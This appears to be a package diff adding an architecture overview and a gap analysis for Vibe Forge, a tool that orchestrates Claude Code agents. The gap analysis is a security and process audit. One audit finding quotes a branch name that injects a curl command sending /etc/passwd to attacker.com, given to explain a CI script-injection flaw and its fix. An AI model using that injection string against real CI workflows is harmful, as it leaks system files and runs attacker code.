@sugar-crash-studios/vibe-forge 0.4.0

package/docs/architecture.md

@@ -0,0 +1,194 @@
+# Vibe Forge Architecture
+
+This document describes the architectural decisions and structure of the Vibe Forge codebase.
+
+## Language Strategy
+
+Vibe Forge uses a **hybrid Bash/Node.js architecture** with the following rationale:
+
+### Bash (Primary for Scripts)
+
+The core CLI and daemon are implemented in Bash because:
+
+1. **Native shell integration** - Vibe Forge orchestrates terminal sessions and Claude Code processes, which are inherently shell operations
+2. **Unix philosophy** - Small composable scripts that can be debugged, piped, and modified easily
+3. **Transparency** - Users can inspect and modify scripts without build steps
+4. **Git Bash compatibility** - Windows users with Git Bash can run the same scripts
+
+Files in Bash:
+- `bin/forge.sh` - Main CLI entry point
+- `bin/forge-setup.sh` - Setup and initialization
+- `bin/forge-spawn.sh` - Terminal spawning orchestration
+- `bin/forge-daemon.sh` - Background daemon for task monitoring
+- `bin/lib/*.sh` - Shared libraries (colors, config, agents, database, json, util)
+
+### Node.js (Cross-Platform Utilities)
+
+Node.js is used where cross-platform compatibility or complex logic is needed:
+
+1. **npx installer** - `bin/cli.js` runs via npx before Vibe Forge is installed
+2. **Terminal detection** - `bin/lib/terminal.js` detects and spawns terminals across Windows/macOS/Linux
+3. **JSON parsing** - All Bash scripts use Node.js for JSON via `bin/lib/json.sh` wrapper
+4. **Claude hooks** - `.claude/hooks/worker-loop.js` runs as Claude Code hook
+5. **Dashboard server** - `bin/dashboard/server.js` provides HTTP + WebSocket for the web UI
+
+### Design Principles
+
+1. **Single Source of Truth** - Configuration in `config/agents.json`, loaded by both languages
+2. **Node.js for JSON** - All JSON parsing uses `bin/lib/json.sh` which calls Node.js (no jq dependency)
+3. **Bash for orchestration** - Process management, file watching, terminal control
+4. **Thin wrappers** - `forge.cmd` on Windows calls Bash via Git Bash
+
+### JSON Handling
+
+All JSON operations use the `json.sh` library which provides:
+
+```bash
+# Reading JSON
+value=$(json_read "$file" "key" "default")
+
+# Reading multiple keys efficiently
+read -r name status task <<< "$(json_read_multi "$file" name status task)"
+
+# Writing JSON
+json_write "$file" "key" "value"
+json_write_bool "$file" "enabled" true
+
+# Pretty printing
+json_pretty "$file"
+
+# Key existence check
+if json_has_key "$file" "key"; then ...
+```
+
+This eliminates the jq dependency while maintaining security (arguments passed to Node.js, not interpolated).
+
+## Directory Structure
+
+```
+vibe-forge/
+├── agents/                    # Agent personality definitions
+│   ├── anvil/
+│   │   └── personality.md
+│   ├── furnace/
+│   └── ...
+├── bin/                       # Executables
+│   ├── cli.js                 # npx entry point (Node.js)
+│   ├── forge.sh               # Main CLI (Bash)
+│   ├── forge.cmd              # Windows wrapper
+│   ├── forge-setup.sh         # Setup script
+│   ├── forge-spawn.sh         # Terminal spawning
+│   ├── forge-daemon.sh        # Background daemon
+│   ├── dashboard/             # Web dashboard (Node.js)
+│   │   ├── server.js          # HTTP + WebSocket server
+│   │   ├── api/               # REST API endpoints
+│   │   │   ├── tasks.js       # Task CRUD
+│   │   │   ├── agents.js      # Agent status
+│   │   │   └── dispatch.js    # Task dispatch
+│   │   └── public/            # Frontend assets
+│   │       ├── index.html     # Dashboard UI
+│   │       ├── style.css      # Styles (dark mode)
+│   │       └── app.js         # Frontend logic
+│   └── lib/                   # Shared libraries
+│       ├── agents.sh          # Agent resolution
+│       ├── colors.sh          # Terminal colors
+│       ├── config.sh          # Configuration loading
+│       ├── constants.sh       # Constants (fallback)
+│       ├── database.sh        # SQLite operations
+│       ├── json.sh            # JSON utilities (Node.js based)
+│       ├── terminal.js        # Terminal detection (Node.js)
+│       └── util.sh            # Utility functions
+├── config/                    # Configuration files
+│   ├── agents.json            # Agent roster (source of truth)
+│   └── agent-manifest.yaml    # Rich documentation (non-normative)
+├── context/                   # Runtime context
+│   ├── agent-status/          # Agent status files
+│   └── forge-state.yaml       # Current forge state
+├── docs/                      # Documentation
+├── tasks/                     # Task lifecycle folders
+│   ├── pending/
+│   ├── in-progress/
+│   ├── completed/
+│   └── ...
+└── tests/                     # Test suites
+    ├── unit/                  # Jest unit tests (shell functions tested via child_process)
+    └── helpers/               # Test utilities
+```
+
+## Data Flow
+
+```
+┌──────────────┐     ┌────────────────┐     ┌──────────────┐
+│  CLI Input   │ --> │   forge.sh     │ --> │   Command    │
+│  (user)      │     │   (dispatch)   │     │   Handler    │
+└──────────────┘     └────────────────┘     └──────────────┘
+                                                   │
+                                                   v
+┌──────────────┐     ┌────────────────┐     ┌──────────────┐
+│   Claude     │ <-- │ forge-spawn.sh │ <-- │  Terminal    │
+│    Code      │     │ + terminal.js  │     │   Spawning   │
+└──────────────┘     └────────────────┘     └──────────────┘
+       │
+       v
+┌──────────────┐     ┌────────────────┐     ┌──────────────┐
+│   Tasks      │ <-> │ forge-daemon   │ <-> │   SQLite     │
+│   (files)    │     │   (monitor)    │     │   Database   │
+└──────────────┘     └────────────────┘     └──────────────┘
+       ^                                           ^
+       │                                           │
+       └─────────────────┬─────────────────────────┘
+                         │
+                         v
+              ┌────────────────────┐
+              │  Dashboard Server  │ <-- Browser (http://localhost:2800)
+              │  (port 2800 🔥)    │
+              │  + WebSocket /ws   │
+              └────────────────────┘
+```
+
+### Dashboard Architecture
+
+The dashboard is a self-contained Node.js server that provides:
+
+1. **Static file serving** - HTML, CSS, JS from `bin/dashboard/public/`
+2. **REST API** - Task management, agent status, dispatch at `/api/*`
+3. **WebSocket** - Real-time updates at `/ws`
+4. **Issue detection** - Stale docs, failing tests, security issues
+
+Port **2800** was chosen as the default because it's the operating temperature of a forge in degrees Fahrenheit. 🔥
+
+## Future Considerations
+
+### Potential Node.js Migration
+
+While Option B (hybrid) is the current strategy, a future Node.js migration could provide:
+
+1. **Better Windows support** - Native Node.js without Git Bash dependency
+2. **Unified codebase** - Single language to maintain
+3. **Type safety** - TypeScript for larger refactors
+4. **npm ecosystem** - Libraries for terminal control, process management
+
+Migration path if pursued:
+1. `src/lib/config.ts` - Configuration management
+2. `src/lib/agents.ts` - Agent resolution
+3. `src/lib/database.ts` - SQLite operations
+4. `src/daemon.ts` - Background daemon
+5. `src/forge.ts` - Main CLI (keeping forge.sh as thin wrapper initially)
+
+### Requirements for Migration
+
+Before pursuing full Node.js migration:
+- Ensure all Bash-specific functionality can be replicated
+- Maintain transparency (scripts users can inspect)
+- Keep startup time fast (current scripts are instant)
+- Preserve Unix composability where valuable
+
+## ADR Summary
+
+| Decision | Choice | Rationale |
+|----------|--------|-----------|
+| Primary language | Bash | Native shell integration, transparency |
+| JSON parsing | Node.js via json.sh | Security, cross-platform |
+| Terminal detection | Node.js | Cross-platform compatibility |
+| Windows support | Git Bash + forge.cmd | Maintains Unix-like experience |
+| Configuration | JSON (agents.json) | Machine-readable, single source |

package/docs/bmad-gap-analysis-2026-03-31.md

@@ -0,0 +1,444 @@
+# Vibe Forge vs BMAD-METHOD: Comprehensive Gap Analysis
+
+**Date:** 2026-03-31
+**BMAD Version:** 6.2.2 (43k GitHub stars)
+**Vibe Forge Version:** 0.4.0
+**Sources:** 3 deep-research analysis agents + 6 forge agents (Sentinel, Crucible, Aegis, Furnace, Ember, Pixel)
+
+---
+
+## Executive Summary
+
+Vibe Forge and BMAD-METHOD are not competing for the same thing. BMAD is a **full-lifecycle development methodology** covering discovery through delivery. Vibe Forge is an **execution-layer orchestration engine** with persistent workers, automated task routing, and real-time dashboarding. Vibe Forge plugs into roughly Phase 4 of BMAD's workflow and calls it the whole system.
+
+That framing clarifies the gaps. Most of them are not "Vibe Forge did this wrong" -- they are "Vibe Forge never attempted this." The question is which gaps matter enough to close.
+
+**Where BMAD wins:** Planning pipeline, quality enforcement, per-project customization, token management, and onboarding clarity.
+
+**Where Vibe Forge wins:** Infrastructure security, real-time dashboard, automated task routing, Windows support, persistent worker sessions, and agent personality richness.
+
+The ideal framework borrows BMAD's upstream planning discipline and quality gates, while keeping Vibe Forge's execution infrastructure and personality depth.
+
+---
+
+## Critical Issues (Fix Immediately)
+
+### CRIT-1: GitHub Actions Script Injection
+**Source:** Aegis (HIGH)
+**Location:** `.github/workflows/ci.yml` lines 17-18, 40-41
+
+`${{ github.head_ref }}` is interpolated inline into bash. A branch named `foo"; curl attacker.com/$(cat /etc/passwd|base64) #` executes arbitrary code in CI.
+
+**Fix:**
+```yaml
+# Wrong
+run: |
+  BRANCH="${{ github.head_ref }}"
+
+# Right
+env:
+  BRANCH: ${{ github.head_ref }}
+run: |
+  if [[ "$BRANCH" =~ ^(task|feature|bugfix)/ ]]; then
+```
+
+---
+
+### CRIT-2: `eval` of Node.js-Generated Shell Code
+**Source:** Sentinel (CRITICAL), Aegis (MEDIUM)
+**Location:** `bin/lib/config.sh:142`
+
+`load_agents_from_json()` generates shell variable assignments from Node.js and `eval`s them. Agent/alias names are validated against `/^[a-z0-9_-]+$/` but display names and roles go through `escapeForShell()` which is complex and has been changed before. Any bug in the escaping logic, or any compromise of `agents.json`, is RCE on the developer's machine.
+
+**Fix direction:** Have Node.js write a static `.sh` file at init time with validated variable assignments. Source that file instead of eval-ing dynamically generated code.
+
+---
+
+### CRIT-3: `design` Alias Collision
+**Source:** Sentinel
+**Location:** `config/agents.json`
+
+Both `architect` and `pixel` claim `"design"` as an alias. Node.js processes them in insertion order; `pixel` wins silently. `forge spawn design` spawns the UX Designer instead of the Architect. No warning is emitted.
+
+**Fix:** Remove `"design"` from `architect.aliases`. Architect already has `"arch"` and `"sage"`. Pixel already has `"ux"` and `"ui-design"`.
+
+---
+
+### CRIT-4: No Automated Quality Gates
+**Source:** Crucible (CRITICAL)
+
+A task can be created, picked up by an agent, self-certified complete with zero tests written, and merged. Nothing in the system prevents this. No pre-commit hooks. No DoD enforcement. No CI test gate on PRs. Quality depends entirely on agents being honest in their self-reporting and Sentinel being assigned.
+
+**What BMAD does:** Husky pre-commit hooks, CodeRabbit AI review bot on every PR, formal 20-item DoD checklist that gates story transitions, adversarial review that HALTs on zero findings.
+
+**Fix:** See Section 3 (Quality Gates) for the full recommendation set.
+
+---
+
+## High Priority Gaps
+
+### HIGH-1: No Planning / Requirements Phase
+**Source:** Sentinel, Furnace, Pixel
+
+Vibe Forge starts at implementation. There is no PRD workflow, no architecture documentation workflow, no implementation readiness check. Tasks can be created with arbitrary backgrounds and dispatched directly to implementation agents. On non-trivial projects, this means building the wrong thing coherently.
+
+BMAD's four-phase model:
+1. **Analysis** - Research, product brief, PRFAQ
+2. **Planning** - PRD (12-step workflow, 13-pass validation), UX Design spec
+3. **Solutioning** - Architecture docs, ADRs, Epic/Story decomposition, implementation readiness check
+4. **Implementation** - Story-by-story execution with architecture grounding
+
+**Recommendation:** Add optional planning skills to the Planning Hub. At minimum:
+- A `project-brief` skill that produces `context/project-brief.md`
+- An `architecture` skill (Winston is in constants.sh but has no workflow) that produces `context/architecture.md` with ADRs
+- A readiness check before first implementation task is created
+
+These don't need to be as ceremony-heavy as BMAD. But the absence of any upstream validation is the most consequential gap for real projects.
+
+---
+
+### HIGH-2: No Formal Definition of Done
+**Source:** Crucible, Furnace
+
+Vibe Forge's task completion is a self-reported YAML block with 5 fields. BMAD's Definition of Done is a 20+ item checklist across 5 categories (Context, Implementation, Testing, Documentation, Final Status) that outputs a `PASS/FAIL` with a score.
+
+**Recommendation:** Add a `## Definition of Done` section to `config/task-template.md`:
+
+```markdown
+## Definition of Done
+
+Before marking `ready_for_review: true`, verify:
+
+**Implementation**
+- [ ] All acceptance criteria checked
+- [ ] All tasks/subtasks completed
+- [ ] Edge cases handled
+
+**Testing**
+- [ ] Unit tests written for new functionality
+- [ ] Existing tests still pass
+- [ ] No linting errors
+
+**Documentation**
+- [ ] File list complete in completion summary
+- [ ] Inline comments where logic is non-obvious
+
+**Security** (if touching auth, data, APIs)
+- [ ] No hardcoded secrets
+- [ ] Input validation at boundaries
+- [ ] Error paths handled, not swallowed
+```
+
+---
+
+### HIGH-3: No Epic/Story Hierarchy
+**Source:** Vibe Forge baseline audit
+
+The task template references `/specs/epics/{EPIC_ID}.md`. That path does not exist anywhere in the framework. There are no epic templates, no story templates, no sprint-status equivalent. The Planning Hub personality describes decomposing epics into tasks, but there is no tooling support for any of it.
+
+BMAD has: `Epic → Story → Task → Subtask` with numbering (`1.1`, `1.2`), state machines (`backlog → ready-for-dev → in-progress → review → done`), a `sprint-status.yaml` that tracks all stories across all epics, and requirements traceability from PRD → Epic → Story.
+
+**Recommendation:**
+1. Create `specs/epics/` directory with an epic template
+2. Add a `sprint-status.yaml` maintained by the daemon (per-task status, not just counts)
+3. Adopt AC numbering in the task template: `- [ ] Task 1 (AC: #1, #3)` for review auditability
+
+---
+
+### HIGH-4: No Per-Project Agent Customization
+**Source:** Vibe Forge baseline audit
+
+Users cannot customize agent behavior without editing framework personality files directly -- files that get overwritten on `npx vibe-forge update`. There is no equivalent to BMAD's `.customize.yaml`.
+
+BMAD's customization model:
+- `_bmad/_config/agents/<agent>.customize.yaml` per agent
+- Six customizable sections: `persona` (replaces), `memories` (appends), `menu` (appends), `critical_actions` (appends), `prompts` (appends), `agent.metadata` (replaces)
+- Changes **survive installer updates** (only base files are overwritten)
+
+**Recommendation:** Create `context/agent-overrides/` directory. Each file (`furnace.md`, `sentinel.md`, etc.) is appended to the corresponding agent's context at session start. Document this mechanism clearly. The worker-loop and forge skill should inject these overrides automatically.
+
+---
+
+### HIGH-5: No Token Management Strategy
+**Source:** Sentinel
+
+Agents load full personality + full task + accumulated conversation. On long sessions with multiple task iterations, context windows overflow silently. Quality degrades with no diagnostic path. BMAD addresses this with:
+- Distillator skill: 3:1 to 5:1 lossless compression of planning docs
+- Step-file loading: only current workflow step is in context at any time
+- Party Mode: 400-word round summaries to prevent context accumulation
+
+**Recommendation:**
+- Document that agents should start fresh sessions for long tasks (add to personality files)
+- Add a `context-summary` skill that compresses prior work into a dense brief
+- For complex Planning Hub workflows, adopt step-file loading pattern
+
+---
+
+### HIGH-6: Planning Hub Identity Crisis
+**Source:** Vibe Forge baseline audit, Sentinel
+
+`agents/forge-master/` has 3 files (personality.md, capabilities.md, context-template.md). `agents/planning-hub/` has 1 file (personality.md). `config/agents.json` loads the planning-hub personality. The richer forge-master with its capabilities doc and context template is dead code. The agent-manifest.yaml notes this as ARCH-008 (pending).
+
+**Recommendation:** Consolidate into one. Either: (a) move planning-hub content into forge-master and update agents.json, or (b) delete forge-master and move the capabilities/context-template files to planning-hub.
+
+---
+
+### HIGH-7: Dashboard Broken on Core Panels
+**Source:** Vibe Forge baseline audit
+
+Two known bugs block the dashboard's primary value:
+- **BUG-dash-001:** `tasks.filter is not a function` - API response shape mismatch
+- **BUG-dash-002:** Agents panel shows "Unknown" for all agents
+
+These are tracked but unassigned. The dashboard is built, polished, and broken.
+
+**Recommendation:** Fix these before promoting the dashboard as a feature. Per Pixel: "make the dashboard the hero feature." It can't be the hero if the core panels don't render.
+
+---
+
+### HIGH-8: HALT Conditions Not Wired Into Agent Behavior
+**Source:** Sentinel, Furnace
+
+The `tasks/attention/` mechanism exists. The `/need-help` skill exists. But agent personalities don't define when to use them. BMAD's dev-story workflow has explicit HALT conditions:
+- New external dependency required
+- 3 consecutive failures on same test
+- Missing/conflicting configuration
+- Ambiguous requirements
+
+**Recommendation:** Add a `## When to Stop and Escalate` section to every implementation agent personality:
+
+```
+HALT and write to tasks/attention/ if:
+- Required dependency not in package.json (don't add packages without approval)
+- Schema change needed that affects live data
+- 3 consecutive failures on the same test
+- Acceptance criteria are ambiguous or contradictory
+- Security concern requires Aegis review
+```
+
+---
+
+### HIGH-9: README References Non-Existent Agents
+**Source:** Pixel (P0 - Critical UX bug)
+
+The README references Sage, Oracle, and Quartermaster in the architecture diagram and agent table. These agents do not exist in the current `agents/` directory or `config/agents.json`. A new developer's first impression is a broken mental model.
+
+**Fix:** Update README to match current agent roster.
+
+---
+
+### HIGH-10: Architecture Grounding Not Injected Into Tasks
+**Source:** Furnace
+
+BMAD's create-story workflow (Bob) reads the PRD, architecture docs, and epics before writing a story. The resulting story contains a "Dev Notes" section with architecture guardrails, relevant file paths, and tech constraints pre-loaded.
+
+Vibe Forge tasks have a "Relevant Files" and "Background" section but no enforced architecture-grounding step. Tasks arrive at implementation agents without guaranteed context about the architecture decisions that constrain their work.
+
+**Recommendation:**
+1. Add `## Dev Notes` section to task template (architecture guardrails, relevant paths, testing standards)
+2. Planning Hub should load `context/architecture.md` when creating tasks and inject relevant constraints
+3. This becomes the "context engine" that prevents agents from making divergent decisions
+
+---
+
+## Medium Priority Gaps
+
+### MED-1: Prompting Improvements from BMAD
+**Source:** BMAD agent design analysis
+
+BMAD has specific prompting techniques Vibe Forge should adopt:
+
+**Anti-lying enforcement** (add to Furnace, Anvil, Crucible personalities):
+```
+NEVER mark a task complete unless ALL acceptance criteria are verified.
+NEVER report tests passing if you haven't run them.
+NEVER mark a task complete with tests_added: 0 if the task touches business logic.
+```
+
+**Anti-session-stopping** (add to all worker agents):
+```
+DO NOT stop mid-task because of "significant progress" or "session boundaries."
+Continue until the story is complete or a HALT condition applies.
+Never schedule a "next session" unless explicitly blocked.
+```
+
+**In-session menus:** When a Planning Hub session starts, present a menu of available actions. BMAD's agents always open with a capabilities table and wait for input. This makes the framework more discoverable.
+
+---
+
+### MED-2: Daemon Improvements
+**Source:** Ember, Furnace
+
+| Issue | Impact | Fix |
+|---|---|---|
+| `date -d` is Linux-only | Staleness detection dead on macOS | Use `date -j -f` fallback for BSD date |
+| `stat` mtime broken on Git Bash | Status sync re-reads all files every iteration | Use Node.js stat via subprocess |
+| Maintenance interval is iteration-count based | Inconsistent timing with adaptive polling | Use elapsed-time check |
+| `status_history` never called | Metrics infrastructure built but empty | Call `db_record_status_history()` in `db_upsert_agent_status()` |
+| No daemon watchdog | Silent failures when daemon crashes | Add cron/PID check to forge start |
+| `depends_on` field not enforced | Tasks with unresolved dependencies routed to review | Daemon should hold tasks in pending if deps unresolved |
+| No time-based escalation | Tasks stall in-progress indefinitely | Auto-escalate to attention/ after `estimated_minutes * 3` |
+| No `tasks/failed/` dead-letter | Corrupted tasks silently skipped | Add dead-letter queue directory |
+| Graceful stop is fire-and-forget | Orphaned temp files on daemon crash | Wait for PID to exit before removing lock files |
+
+---
+
+### MED-3: CI/CD Improvements
+**Source:** Ember, Aegis
+
+| Gap | BMAD Has | Recommendation |
+|---|---|---|
+| Markdown linting | `markdownlint-cli2` on every PR | Add as parallel CI job - agent personalities are Markdown |
+| Pre-commit hooks | Husky: lint-staged + tests | Add Husky with shellcheck + jest + markdownlint |
+| `@next` prerelease channel | Auto-published on main push | Add auto-prerelease job to publish.yml |
+| Formatting enforcement | Prettier check blocks PRs | Add prettier to CI |
+| Node version pinning | `.nvmrc` + `engines` field | Add `.nvmrc` (Node 20), add `engines` to package.json |
+| CHANGELOG to release notes | Auto-extracted in CI | Generate GitHub Release body from CHANGELOG section |
+| Action SHA pinning | Recommended, partially done | Pin all actions to SHA digests |
+| constants.sh / agents.json sync | N/A | Add CI check validating fallback arrays match agents.json |
+
+---
+
+### MED-4: Code Review Enhancement
+**Source:** Crucible
+
+BMAD's code review runs three parallel specialist subagents:
+- **Blind Hunter** (diff only, adversarial, must find 10+ issues)
+- **Edge Case Hunter** (diff + project access, JSON output of unhandled paths)
+- **Acceptance Auditor** (diff + spec, verifies each AC individually)
+
+**Recommendation:**
+1. Add an adversarial review skill that Sentinel can invoke: "find at least 5 issues; zero findings requires re-analysis"
+2. Add AC numbering to task template so each criterion can be audited individually during review
+3. For now, improve Sentinel's personality with the HALT-on-zero-findings rule: if a PR is reviewed and nothing is flagged, Sentinel must re-examine before approving
+
+---
+
+### MED-5: sprint-state.yaml (Cross-Task Status View)
+**Source:** Furnace
+
+`forge-state.yaml` has task counts but not per-task status. Agents cannot query "what tasks are in-progress for this epic?" BMAD's `sprint-status.yaml` gives a flat, queryable inventory of all stories across all epics.
+
+**Recommendation:** Daemon should maintain `context/sprint-state.yaml` with per-task entries:
+```yaml
+tasks:
+  - id: TASK-042
+    title: "Implement login endpoint"
+    assigned_to: furnace
+    status: in-progress
+    epic: AUTH
+    updated: 2026-03-31T14:23:00Z
+  - id: TASK-043
+    ...
+```
+
+---
+
+### MED-6: Forge-Help Command
+**Source:** Pixel (P1), BMAD analysis
+
+BMAD's `bmad-help` is a context-aware "what do I do next?" guide. It reads project state and recommends the next action. This single feature dramatically improves onboarding DX.
+
+**Recommendation:** Add `/forge help` (or `forge-help` skill) that reads `forge-state.yaml` and advises:
+- "No tasks in pending and no agents active → start by creating tasks in the Planning Hub"
+- "3 tasks pending, Furnace idle → spawn Furnace and assign backend tasks"
+- "2 tasks in review → ask Sentinel to review them"
+
+---
+
+### MED-7: Security Improvements
+**Source:** Aegis
+
+| Finding | Severity | Fix |
+|---|---|---|
+| GitHub Actions script injection | HIGH | Move `head_ref` to `env:` block |
+| `eval` in config.sh | MEDIUM | Document risk; long-term: replace with static .sh generation |
+| Dangerous eval comment in json.sh | MEDIUM | Add security warning or remove |
+| Task file prompt injection | MEDIUM | Add frontmatter validation before daemon routing |
+| Unsanitized log writes in notify() | LOW | Call `sanitize_notification_message()` inside `notify()` |
+| Actions not SHA-pinned | LOW | Pin to SHA digests; use Dependabot |
+
+---
+
+## What to NOT Copy from BMAD
+
+| BMAD Pattern | Reason to Skip |
+|---|---|
+| Fresh chat per workflow | Destroys Vibe Forge's persistent worker advantage |
+| Manual task routing (no daemon) | Vibe Forge's automation is a clear win |
+| No dashboard | Vibe Forge's real-time visibility is a differentiator |
+| Single generalist dev agent | Specialization enables true parallelism |
+| No Windows support | Vibe Forge has first-class Windows support |
+| Trigger code menus | Vibe Forge's natural language CLI is more accessible |
+| `bmad-` prefix verbosity | Less ergonomic than Vibe Forge's naming |
+
+---
+
+## What Vibe Forge Does Better (Double Down)
+
+1. **Worker loop / persistent sessions** - The Ralph Loop pattern keeps agents alive and self-directing. BMAD requires a human to trigger every new workflow session. This is a fundamental architectural advantage for longer work sessions.
+
+2. **Real-time WebSocket dashboard** - BMAD has no equivalent. This should be featured as the hero of the README, not buried.
+
+3. **Automated task routing via daemon** - Completed → review → approved → merged without human intervention. BMAD is 100% human-mediated between phases.
+
+4. **Agent personality richness** - Vibe Forge's personalities are significantly more developed than BMAD's. The Output Format templates (exact schema for agents to fill in) are the standout feature. Keep investing here.
+
+5. **Security posture** - Symlink protection, path traversal prevention, notification sanitization, SQL injection protection. BMAD has minimal shell scripting security. This is not an accident -- keep the discipline.
+
+6. **Dedicated security agent (Aegis)** - BMAD has no security role. Aegis with veto power over releases is a genuine differentiator.
+
+7. **VCS agnosticism** - The 0.4.0 multi-platform VCS support (GitHub, GitLab, Gitea, Azure DevOps, Bitbucket) is forward-thinking. BMAD assumes GitHub.
+
+8. **Multi-voice Planning Hub** - The "party mode" with Architect, Aegis, Ember, Pixel, Oracle, and Crucible speaking in one session models real team dynamics. BMAD's party mode requires spawning separate subagents. Vibe Forge's implementation is more accessible.
+
+---
+
+## Prioritized Implementation Roadmap
+
+### Tier 1 - Fix Before Next Release
+1. Fix GitHub Actions script injection (CRIT-1)
+2. Fix `design` alias collision (CRIT-3)
+3. Fix README agent names - remove Sage, Oracle, Quartermaster (HIGH-9)
+4. Fix BUG-dash-001 and BUG-dash-002 (HIGH-7)
+
+### Tier 2 - Next Major Milestone
+5. Add formal Definition of Done to task template (HIGH-2, CRIT-4)
+6. Add HALT conditions to all implementation agent personalities (HIGH-8)
+7. Add anti-lying and anti-session-stopping to agent personalities (MED-1)
+8. Add `## Dev Notes` section to task template with architecture guardrails (HIGH-10)
+9. Add AC numbering to task template (MED-4)
+10. Add in-session menus to Planning Hub and agents (MED-1)
+11. Add constants.sh / agents.json sync check to CI (MED-3)
+12. Fix daemon cross-platform issues (`date -d`, `stat`) (MED-2)
+13. Wire up `db_record_status_history()` (MED-2)
+
+### Tier 3 - Framework Maturity
+14. Per-project agent customization via `context/agent-overrides/` (HIGH-4)
+15. Epic/story hierarchy with sprint-state.yaml (HIGH-3)
+16. Architecture workflow (Winston skill with ADRs) (HIGH-1)
+17. Forge-help command (MED-6)
+18. Add `@next` prerelease channel + Husky pre-commit hooks (MED-3)
+19. Replace eval with static .sh generation (CRIT-2 long-term)
+20. Adversarial review skill for Sentinel (MED-4)
+21. Daemon: dependency resolution + time-based escalation (MED-2)
+22. Context-summary skill for token management (HIGH-5)
+23. Project-context.md generation workflow at init (Pixel recommendation)
+24. Consolidate forge-master/planning-hub (HIGH-6)
+25. Markdown linting in CI (MED-3)
+
+---
+
+## Appendix: Source Reports
+
+| Agent | Report | Focus |
+|---|---|---|
+| Sentinel | `tasks/review/bmad-review-sentinel.md` | Architecture, code quality, critical issues |
+| Crucible | `tasks/review/bmad-review-crucible.md` | Quality gates, testing, DoD |
+| Aegis | `tasks/review/bmad-review-aegis.md` | Security findings, CI vulnerabilities |
+| Furnace | `tasks/review/bmad-review-furnace.md` | Task data model, daemon gaps, backend |
+| Ember | `tasks/review/bmad-review-ember.md` | CI/CD, daemon ops, cross-platform |
+| Pixel | `tasks/review/bmad-review-pixel.md` | DX, onboarding, UX gaps |
+| Research Agent 1 | BMAD architecture & process deep-dive | Framework structure, workflow, phases |
+| Research Agent 2 | BMAD agent design & prompting deep-dive | Prompting patterns, personas, anti-patterns |
+| Research Agent 3 | Vibe Forge baseline audit | Comprehensive self-assessment |